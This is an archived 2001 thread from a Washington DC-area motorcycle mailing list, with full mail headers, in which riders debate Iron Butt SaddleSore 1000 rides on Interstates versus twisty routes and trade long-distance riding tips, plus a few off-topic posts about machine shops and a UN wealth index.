dc-cycles@XXXXXX Date: Mon, 12 Feb 2001 17:05:12 -0500 Subject: Re: Attn; LD Riders What, pray tell is the point of being on Interstates for 1000 miles? IMO pick a route that winds around WV, KN, TN, NC, OH, and PA. You'll have loads of fun but you won't possibly do 1000 miles in 24 hours and if you tried we'd probably find your body at the bottom of some revine. -----Original Message----- From: Leon Begeman > other stops. If you stay on the Interstate and run > with traffic (relax, don't go so fast as to invite > speeding tickets) it can be done in about 16 hours. -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Mon Feb 12 17:17:50 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CMHmn00807 for ; Mon, 12 Feb 2001 17:17:49 -0500 (EST) Received: from pmismtp04.wcomnet.com ([166.38.62.39]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G8O00E850K7W2@XXXXXX> for dc-cycles@XXXXXX; Mon, 12 Feb 2001 22:16:55 +0000 (GMT) Received: from pmismtp04.wcomnet.com by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8O00F010K2TD@XXXXXX>; Mon, 12 Feb 2001 22:16:54 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp04.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8O00DDR0JLCC@XXXXXX>; Mon, 12 Feb 2001 22:16:34 +0000 (GMT) Date: Mon, 12 Feb 2001 17:16:31 -0500 From: Dale Horstman Subject: Re: Attn; LD Riders To: Leon Begeman Cc: James Hoofnagle , dc-cycles@XXXXXX Message-id: <3A8860BF.249D4D27@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010212212320.25279.qmail@web904.mail.yahoo.com> Leon Begeman wrote: > There are two ways to do the SaddleSore 1000. And if you are worried about being "too far" from home if something happens, try this. Hop on the interstate, ride south 250 miles. Turn around (after getting a good receipt, of course) and go 500 miles north. Get another receipt, maybe stop for dinner, and head back home. You are never more than 250 miles away, and can conveniently bail out at the halfway point if weather/bike/tire/butt problems start to surface. Actually, if you haven't done a 500 mile day yet, I'd try that first. You may find yourself terminally bored, in which case, you only have 10-12 hours of hell to go through, rather than 20-24... :) As with most things, start small, work your way up to where you want to be. Hork -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Mon Feb 12 17:26:17 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CMQFn00914 for ; Mon, 12 Feb 2001 17:26:15 -0500 (EST) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8O006DM0Y8RJ@XXXXXX> for dc-cycles@XXXXXX; Mon, 12 Feb 2001 22:25:20 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8O008010XF07@XXXXXX>; Mon, 12 Feb 2001 22:25:20 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8O005DY0XAQ7@XXXXXX>; Mon, 12 Feb 2001 22:24:46 +0000 (GMT) Date: Mon, 12 Feb 2001 17:24:44 -0500 From: Dale Horstman Subject: Re: Attn; LD Riders To: Matthew Patton Cc: dc-cycles@XXXXXX Message-id: <3A8862AC.18B7AFD3@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010212220516.10100.qmail@theglobe.com> Matthew Patton wrote: > > What, pray tell is the point of being on Interstates for 1000 miles? So many answers, so little time: 10) So you can see the sunset in Florida on your bike. I highly recommend it. Good for the soul. :) 9) So you can pick up a map of the United States and chuckle. 8) So you can pick up a map of the United States and circle the Eastern half, and call it a day trip. 7) It's 1000 miles on a motorcycle, silly. I'd never want to do this crap in a car... 6) Kansas City has some really good BBQ. 5) You can get there and back in a full weekend. 4) A trip around Lake Michigan can be done in under 24 hours. 3) Deal's Gap is 500 miles (10 hours) away. 2) You can watch the sun go down, ride all night, and watch the sun come back up again. And the Number 1 reason to spend 1000 miles on Interstates: 1) The unquestioned respect and admiration (or alternately, fear and loathing) of your peers. :) Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Mon Feb 12 17:31:18 2001 Return-Path: Received: from dgesmtp01.wcom.com (dgesmtp01.wcom.com [199.249.16.16]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CMVHn01061 for ; Mon, 12 Feb 2001 17:31:17 -0500 (EST) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-33 #42260) with ESMTP id <0G8O00002179K4@XXXXXX> for dc-cycles@XXXXXX; Mon, 12 Feb 2001 22:30:45 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8O00B01177C6@XXXXXX>; Mon, 12 Feb 2001 22:30:44 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8O009EQ16WSN@XXXXXX>; Mon, 12 Feb 2001 22:30:32 +0000 (GMT) Date: Mon, 12 Feb 2001 17:30:29 -0500 From: Dale Horstman Subject: Re: Attn; LD Riders To: Matthew Patton Cc: dc-cycles@XXXXXX Message-id: <3A886405.3DEA7258@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010212220516.10100.qmail@theglobe.com> Matthew Patton wrote: > > What, pray tell is the point of being on Interstates for 1000 miles? > IMO pick a route that winds around WV, KN, TN, NC, OH, and PA. You'll > have loads of fun There is no one disputing what you are saying. 1000 mile days aren't the only way to enjoy a motorcycle. It's just a different kind of fun. I wonder if I'll have the time this year to ride the whole length of Skyline Drive/BRP? I wonder if I can do it on a weekend (down and back?)... Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Mon Feb 12 17:35:15 2001 Return-Path: Received: from hotmail.com (f148.law10.hotmail.com [64.4.15.148]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CMZDn01158 for ; Mon, 12 Feb 2001 17:35:14 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 12 Feb 2001 14:35:05 -0800 Received: from 166.32.192.143 by lw10fd.law10.hotmail.msn.com with HTTP; Mon, 12 Feb 2001 22:35:05 GMT X-Originating-IP: [166.32.192.143] From: "Rob Keiser" To: dccycles2@XXXXXX, dc-cycles@XXXXXX Subject: Re: New Virus! No, Anna No! Date: Mon, 12 Feb 2001 17:35:05 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 12 Feb 2001 22:35:05.0613 (UTC) FILETIME=[0BE33BD0:01C09544] This even made ESPN.com http://espn.go.com/tennis/news/2001/0212/1079565.html Rob '98 VFR800 Moto content for second address: Had a nice, windy ride Saturday! _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Mon Feb 12 17:45:20 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CMjJn01336 for ; Mon, 12 Feb 2001 17:45:19 -0500 (EST) Received: from 66-44-46-169.s169.tnt4.lnhdc.md.dialup.rcn.com ([66.44.46.169] helo=pawilson) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14SRic-00073z-00 for dc-cycles@XXXXXX; Mon, 12 Feb 2001 17:45:15 -0500 Message-ID: <006701c09545$7d7251e0$bb82fea9@pawilson> From: "Paul Wilson" To: "dc-cycles list" References: <20010212220516.10100.qmail@theglobe.com> <3A8862AC.18B7AFD3@home.com> Subject: Re: Attn; LD Riders Date: Mon, 12 Feb 2001 17:45:22 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 I think Matt's question was more why slab it for 1,000 miles? Just to cover some arbitrary distance and pass asphalt under your tires? One might consider that a rather pointless exercise. Let's face it, it's not exactly a test of athletic prowess like the Ironman Triathlon. I'd rather do "only" 800 miles in 24 hours or a "metric ironbutt" at 620 statute miles and actually see something besides the backsides of tractor trailer rigs and have time to daisy pick. Maybe we need to convert to the Metric System and put an end to this foolishness. :) But to each her own as my wife says. P ----- Original Message ----- From: Dale Horstman Subject: Re: Attn; LD Riders > Matthew Patton wrote: > > > > What, pray tell is the point of being on Interstates for 1000 miles? > > So many answers, so little time: > > 10) So you can see the sunset in Florida on your bike. .. From dc-cycles-request Mon Feb 12 18:11:41 2001 Return-Path: Received: from web902.mail.yahoo.com (web902.mail.yahoo.com [128.11.23.77]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1CNBan01684 for ; Mon, 12 Feb 2001 18:11:37 -0500 (EST) Received: (qmail 12442 invoked by uid 60001); 12 Feb 2001 23:11:30 -0000 Message-ID: <20010212231130.12441.qmail@web902.mail.yahoo.com> Received: from [206.229.31.23] by web902.mail.yahoo.com; Mon, 12 Feb 2001 15:11:30 PST Date: Mon, 12 Feb 2001 15:11:30 -0800 (PST) From: Leon Begeman Subject: Why Interstate? was LD Riders To: dc-cycles@XXXXXX In-Reply-To: <20010212220516.10100.qmail@theglobe.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Matthew Patton wrote: > What, pray tell is the point of being on Interstates > for 1000 miles? The Iron Butt Pizza Party is on the 9th of March at 5:30 PM in Palm Coast FL. There are lots of ways to get there, but the only one that works without taking more than 1 day away from work includes a total of about 1500 miles of I-95. Fairbanks, AK is 4200 miles away, if I want to go to Alaska, why would I waste my time on twisty roads in the Appalacians? I think I'd rather haul ass to Alaska (or at least the western half of Canada) and spend my time on roads I won't get to see again for a long time. Another example, I might go ride Deal's Gap on May 11 because that's when some of my 250 buddies will be there. If I don't have the time, I'll make it a one day trip. 500 miles of slab, 33 miles of Deal's Gap an hour BSing with bikers and 500 miles of slab. Not a bad day. Finally, I just like to ride. The road doesn't matter. If we ride together, you pick the road, I like 'em all. Leon. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 18:49:04 2001 Return-Path: Received: from imo-d05.mx.aol.com (imo-d05.mx.aol.com [205.188.157.37]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1CNn2n02326 for ; Mon, 12 Feb 2001 18:49:03 -0500 (EST) Received: from Boiade@XXXXXX by imo-d05.mx.aol.com (mail_out_v29.5.) id m.60.b8edd6c (4442); Mon, 12 Feb 2001 18:48:34 -0500 (EST) From: Boiade@XXXXXX Message-ID: <60.b8edd6c.27b9d052@aol.com> Date: Mon, 12 Feb 2001 18:48:34 EST Subject: Re: dc-cycles politics To: roach@XXXXXX, dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 128 There is a UN index for industrialized countries which measures the median wealth of a nation's population in terms of income, life span, income disparity, poverty rates, medical care, and other human development criteria like leisure time, job security, pensions, etc. It's called the HP-2 index. The top 10 are: 1. Sweden 2. Netherlands 3. Germany 4. Norway 5. Italy 6. Finland 7. France 8. Japan 9. Canada 10. Denmark The US is no. 17 On the other hand, just dividing the GNP by the population puts the US at no.3 and Sweden (which is no. 1 in HP-2) becomes no. 6. Switzerland is not included as it only has observer status in the UN, but it would certainly be the wealthiest in both indices I think. Please don't shoot the messenger. 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RBM does more fabrication, non auto stuff. They have welded stuff for me while I waited. Either place could probably press out your steering stem. Good luck, Rich RBM Machine 44964 Underwood Ln # A, Sterling, VA 20166-2306 Phone: (703)435-3276 Tyson's Automotive Machine 22863 Bryant Ct # 103, Sterling, VA 20166-9532 Phone: (703)471-1802 __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! 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Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Mon Feb 12 22:53:31 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1D3rTn06598 for ; Mon, 12 Feb 2001 22:53:29 -0500 (EST) Received: from 66-44-71-170.s424.tnt9.lnhva.md.dialup.rcn.com ([66.44.71.170] helo=todd) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14SWWs-0004pA-00 for dc-cycles@XXXXXX; Mon, 12 Feb 2001 22:53:26 -0500 From: "Todd Peer" To: "AA DC-Cycles" Subject: Attn; LD Riders - Multiple Replies - Long Date: Mon, 12 Feb 2001 22:53:00 -0500 Message-ID: <000001c09570$76052ba0$aa472c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 From: Leon Begeman > What goods tips do you > have for someone whose never done a Saddle Sore. The long distance tips page is called the "Archive of Wisdom" at www.ironbutt.com => This is the best place to start for information => and inspiration. There are two ways to do the SaddleSore 1000. 1) Start and end in the afternoon. Sleep late, leave around 2 or 3 in the afternoon, ride a bit more than 500 miles, find a place to sleep in a bed and get a shower. Get up early, ride another 500 miles and finish before the 2 or 3 in the afternoon that you started. Advantage: It's 2 500 miles trips rather than 1 big 1000 mile ride. Disadvantage: If a minor problem happens in the second half, you probably don't have time to recover from it. => This was sort of how I did my first SS1k. Sean => Sullivan and I left the DC area headed for Little => Rock, AR (1025miles), as our first leg => out west to New Mexico. We left at 3:30pm and => arrived at 1:30pm central. We stopped and got => roughly 3 hours sleep. => => On reflection and via experience, I'd opt for the => straight through run now. Those three hours only => served to remind me I wasn't going to get my => normally expected minimum of 8 hours AND I had => close to 560 miles to go to finish :( My head => was foggy from interrupted sleep for the next => two hours, then we hit a wall of water that lasted => from Nashville to Memphis, TN. That'll wake you => up boy! Leon ================== From: "Louis F. Caplan" --- James Hoofnagle wrote: > Hey LD Riders!! > Bill, Leon, Todd, Linda and anybody I missed. What goods tips do you > have for someone whose never done a Saddle Sore. Besides "ride yer bike > mo-ron", I've heard supplimental lighting, corbin saddles, eating light > during rest stops (salad rather the greasy burger), hydrate. Leon gave some great advice (relax). My comment is be prepared in advance for documentation. Know exactly WHAT you need to write down (ask Todd about not writing down seemingly unimportant stuff). => if you plan a straight through run via Interstate, => knowing where you are going becomes less of a chore. => Louis is referring to a major oversight by me during => the last Capitol 1000. I forgot to keep my mileage, => rendering my 1360 miles in 23.30 hours null/void. => Bummer :( Know WHERE you are going to write it down. Know HOW you plan on keeping all your documentation safe (receipts tend to want to blow away, rain ruins things, etc). =================== Matthew Patton wrote: > > What, pray tell is the point of being on Interstates for 1000 miles? > IMO pick a route that winds around WV, KN, TN, NC, OH, and PA. You'll > have loads of fun There is no one disputing what you are saying. 1000 mile days aren't the only way to enjoy a motorcycle. It's just a different kind of fun. I wonder if I'll have the time this year to ride the whole length of Skyline Drive/BRP? I wonder if I can do it on a weekend (down and back?)... Horkster => And don't forget the MD20-20 last year! 480 miles of twisties => through the morning hours into the afternoon, tapering out to => relaxed highway miles to the end of the circuit. ==================== From: "Paul Wilson" I think Matt's question was more why slab it for 1,000 miles? Just to cover some arbitrary distance and pass asphalt under your tires? One might consider that a rather pointless exercise. => Many do. Let's face it, it's not exactly a test of athletic prowess like the Ironman Triathlon. => Nor is it a day in the park. I'd rather do "only" 800 miles in 24 hours or a "metric ironbutt" at 620 statute miles and actually see something besides the backsides of tractor trailer rigs and have time to daisy pick. Maybe we need to convert to the Metric System and put an end to this foolishness. :) But to each her own as my wife says. => Indeed. Smart woman. ==================== My final comments on this topic. - If you can stand sitting (oxymoron?) for a couple of hours at a time, and your bike can go the distance, it's best to run it nearly dry and take care of pee- breaks, specialty snacking (cold beverage of choice), and gas at one time. The ST1100 can go to about 325 miles before I start getting edgy about gas. That's 4 stops in 1000 miles!!! - Keep plenty of water on board with some easy way to get it in your mouth. Also, beef jerky, nuts, dried fruits and power-bars (or equivalent) are great for staving off hunger. So much so that you really don't need to break for dinner. Instead, take a good 30- 40 minute break to walk around and stretch. - If you feel tired, or catch yourself getting fuzzy, pull over and nap for 20-30 minutes. This is advice I should learn to heed. Instead I tend to open my face-plate and sing really loudly and badly. The combination is so silly I end up LOL and wide awake again. Todd Peer (Springfield, VA) From dc-cycles-request Tue Feb 13 07:43:27 2001 Return-Path: Received: from web11505.mail.yahoo.com (web11505.mail.yahoo.com [216.136.172.37]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1DChPn15572 for ; Tue, 13 Feb 2001 07:43:26 -0500 (EST) Message-ID: <20010213124323.33740.qmail@web11505.mail.yahoo.com> Received: from [147.208.3.64] by web11505.mail.yahoo.com; Tue, 13 Feb 2001 04:43:23 PST Date: Tue, 13 Feb 2001 04:43:23 -0800 (PST) From: Glenn Dysart Subject: Re: Attn; LD Riders - Multiple Replies - Long To: dc-cycles@XXXXXX In-Reply-To: <000001c09570$76052ba0$aa472c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Todd, don't forget we could have probably done 1000 miles in one day last year when we rode on July 3 covering 600 miles in about 12-13 hours 90% which were twisties. This was the ride Gimer still cusses at me about. ;-) Glenn --- Todd Peer wrote: > > What, pray tell is the point of being on > Interstates for 1000 miles? > > IMO pick a route that winds around WV, KN, TN, NC, > OH, and PA. You'll > > have loads of fun > > => And don't forget the MD20-20 last year! 480 > miles of twisties > => through the morning hours into the afternoon, > tapering out to > => relaxed highway miles to the end of the > circuit. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 13 09:21:00 2001 Return-Path: Received: from web905.mail.yahoo.com (web905.mail.yahoo.com [128.11.23.80]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1DEKwn17253 for ; Tue, 13 Feb 2001 09:20:59 -0500 (EST) Received: (qmail 8287 invoked by uid 60001); 13 Feb 2001 14:14:10 -0000 Message-ID: <20010213141410.8286.qmail@web905.mail.yahoo.com> Received: from [207.192.134.198] by web905.mail.yahoo.com; Tue, 13 Feb 2001 06:14:10 PST Date: Tue, 13 Feb 2001 06:14:10 -0800 (PST) From: Justin Stefanon Subject: Re: Attn; LD Riders - Multiple Replies - Long To: dcbike In-Reply-To: <000001c09570$76052ba0$aa472c42@todd> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii 1000 miles? Why not just do it on a VTR? You can get it done in about 8-9 hours, and you'll get plenty of chances to stretch your legs and drink some jolt, because you've got at least ten gas stops ahead of you. The only way it would work is if you don't stop for those annoying flashing blue lights behind you. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 13 09:40:31 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DEeUn17593 for ; Tue, 13 Feb 2001 09:40:30 -0500 (EST) Received: from patriot.net (pool180-112.patriot.net [209.249.180.112]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1DEeNH31917; Tue, 13 Feb 2001 09:40:23 -0500 Message-ID: <3A89460B.B0897762@patriot.net> Date: Tue, 13 Feb 2001 09:34:51 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: Justin Stefanon CC: dcbike Subject: Re: Attn; LD Riders - Multiple Replies - Long References: <20010213141410.8286.qmail@web905.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Justin Stefanon wrote: > 1000 miles? > Why not just do it on a VTR? You can get it done > in about 8-9 hours, and you'll get plenty of chances > to stretch your legs and drink some jolt, because > you've got at least ten gas stops ahead of you. The > only way it would work is if you don't stop for those > annoying flashing blue lights behind you. Don't even need a VTR. I can recall a few LD runs in my frisky youth made on a GS550E Suzuki. The goal being to wind it up after a gas stop and never let the speedo needle drop away from the Joan Claybrook 85mph pin until the bike started coughing for more gas. That worked until the speedo cable sheared. Then it got better! Bill From dc-cycles-request Tue Feb 13 09:51:56 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DEpsn17805 for ; Tue, 13 Feb 2001 09:51:54 -0500 (EST) Received: from 66-2-186-195.customer.algx.net ([66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id GAA14392; Tue, 13 Feb 2001 06:08:53 -0500 From: "Christopher Weaver" To: "Justin Stefanon" , "dcbike" Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 13 Feb 2001 14:54:12 UT Subject: RE: Attn; LD Riders - Multiple Replies - Long Date: Tue, 13 Feb 2001 03:50:26 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <20010213141410.8286.qmail@web905.mail.yahoo.com> I probably did about 1,000 miles in a little over one day once on my VTR. I was coming back from Biketoberfest in Daytona. My roommate (RF900) and I started at 2:00 or 3:00pm on Sunday and rode up into South Carolina that evening. We rode the rest of the way back to DC on Monday (about 7am to 11pm). We stayed on I-95 the whole way, and yeah we must have done ten gas stops on the way up! :^) Our only real delay was when we got stopped by a state trooper in southern Virginia. We got off with a warning, luckily. I think he felt sorry for us... The only reason I did this was to get home in time for work on Tuesday, however. I would never have actually planned to ride that long on a slab for no reason other than to say I had done it. I'm one of the people that thinks that idea is pretty dopey. To each their own, I guess. Cheers, Chris VTR, YSR, dccycles.com p.s. We have some new ride routes on dccycles.com thanks to Chuck Pena. Check 'em out. They include Street Atlas 8 files for you technology nerds out there. :^) p.p.s. Someone did a SS1K on a YSR once. I think the story is on the Iron Butt website. Sheer lunacy... -----Original Message----- From: Justin Stefanon [mailto:jstefanon@XXXXXX] Sent: Tuesday, February 13, 2001 9:14 AM To: dcbike Subject: Re: Attn; LD Riders - Multiple Replies - Long 1000 miles? Why not just do it on a VTR? You can get it done in about 8-9 hours, and you'll get plenty of chances to stretch your legs and drink some jolt, because you've got at least ten gas stops ahead of you. The only way it would work is if you don't stop for those annoying flashing blue lights behind you. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 13 10:00:33 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DF0Vn18003 for ; Tue, 13 Feb 2001 10:00:32 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id KAA23118 for ; Tue, 13 Feb 2001 10:00:29 -0500 (EST) Received: from paparazzo.umiacs.umd.edu (paparazzo.umiacs.umd.edu [128.8.120.133]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with ESMTP id KAA24369 for ; Tue, 13 Feb 2001 10:00:28 -0500 (EST) Received: from mail.his.com (root@XXXXXX [209.67.207.13]) by paparazzo.umiacs.umd.edu (8.9.3/8.9.1) with ESMTP id KAA53652 for ; Tue, 13 Feb 2001 10:00:28 -0500 (EST) Received: from harris (max3h-59.his.com [64.14.96.59]) by mail.his.com (8.9.3/8.9.3) with SMTP id KAA00406 for ; Tue, 13 Feb 2001 10:00:25 -0500 (EST) Message-Id: <3.0.32.20010213100133.00e5aa48@his.com> X-Sender: harris@XXXXXX X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 13 Feb 2001 10:01:36 -0800 To: dc-cycles@XXXXXX From: Stephen Harris Subject: sleep deprivation experiment Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" I JUST notice that CCS put Daytona on as a double points Mid-Atlantic region event. Not clear what it is about Florida that is considered "Mid Atlantic" but I digress. I've got a call in to them to confirm this, BUT.... I'm doing the CCS Mid-Atlantic regional points thing this year (for supertwins of course), and am looking for someone who wants to go down to Daytona for the CCS weekend 3/3/01. I would be leaving the DC metro area just before rush hour on Friday 3/2/01. Driving all night to daytona, in shifts, taking turns to sleep in the car while is does not stop its southern progress. The supertwins race is Saturday, 3/3/01. Right after the race I would pack up & drive back to DC, not in as much of a rush (meaning stopping to sleep is OK) to make work Monday AM 3/5/01. I cover all costs. You have to be a good driver, able to operate on sleep altered environment. If you are interested please respond off list. Stephen Harris Need a motorcycle related phone number or address? Try http://www.his.com/harris/shops.htm From dc-cycles-request Tue Feb 13 13:22:21 2001 Return-Path: Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1DIMJn21833 for ; Tue, 13 Feb 2001 13:22:19 -0500 (EST) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0G8P00E01KCM01@XXXXXX> for dc-cycles@XXXXXX; Tue, 13 Feb 2001 18:21:58 +0000 (GMT) Received: from dgismtp04.wcomnet.com ([166.38.58.144]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0G8P00CB1KCMT4@XXXXXX>; Tue, 13 Feb 2001 18:21:58 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) id <0G8P00J01KCK2J@XXXXXX>; Tue, 13 Feb 2001 18:21:57 +0000 (GMT) Received: from dgismtp04.wcomnet.com by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0G8P00I01KCBYL@XXXXXX>; Tue, 13 Feb 2001 18:21:56 +0000 (GMT) Received: from home.com ([166.36.152.226]) by dgismtp04.wcomnet.com (PMDF V5.2-33 #42262) with ESMTP id <0G8P00ELRKBZI8@XXXXXX>; Tue, 13 Feb 2001 18:21:36 +0000 (GMT) Date: Tue, 13 Feb 2001 13:21:32 -0500 From: Dale Horstman Subject: Re: Attn; LD Riders - Multiple Replies - Long To: Christopher Weaver Cc: Justin Stefanon , dcbike Message-id: <3A897B2C.AFBE92C8@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: Christopher Weaver wrote: > Our only real delay was when we got stopped by a state trooper in southern > Virginia. We got off with a warning, luckily. I think he felt sorry for > us... I've been lucky so far, in the 9 or 10 1000 mile days (including a 1520 mile day to Dallas, TX) I've never been pulled over by a cop. I'm speeding a little on these kinds of runs, but not blatantly, only a mph or two faster than the prevailing truck traffic. How you manage your stopped time is the key to big miles, not how fast you go. > The only reason I did this was to get home in time for work on Tuesday, > however. I would never have actually planned to ride that long on a slab for > no reason other than to say I had done it. I usually have good reasons for starting out on my rides. To do Deal's Gap and get back in my own bed that night. To take medicine down to my forgetful father-in-law in St. Petersburg. To ride out to KC for dinner with other LD folks (lost the receipts for that one). To participate in a group Saddlesore 1000 world record attempt (we tied it). To deliver the COG mascot to a recuperating rider in Dallas. To ride around Lake Michigan and the Mackinac bridge on a rally. > I'm one of the people that thinks > that idea is pretty dopey. To each their own, I guess. The Concours Owner's Group has a National Rally in a different part of the country every year. Next year it is in Oregon. Instead of missing the rally, or moaning about the distance, or hassling with shipping a bike or taking the train, or flying out and being bikeless, I know that I can ride out there comfortably in 3 days. So I'm going. I'll be sure to snap a pic or two of my bike next to a Redwood tree. Maybe get a shot of BugSlayer and the Pacific Ocean, to go with my pic of BugSlayer and the Atlantic. If some people think that is dopey, I guess that is okay. But I think it is very, very cool. And I don't know how else to explain it. > p.p.s. Someone did a SS1K on a YSR once. I think the story is on the Iron > Butt website. Sheer lunacy... Leon's then-15-year-old son Mike did an official SS1K on a not-quite stock moped a few years ago. I think that is even more 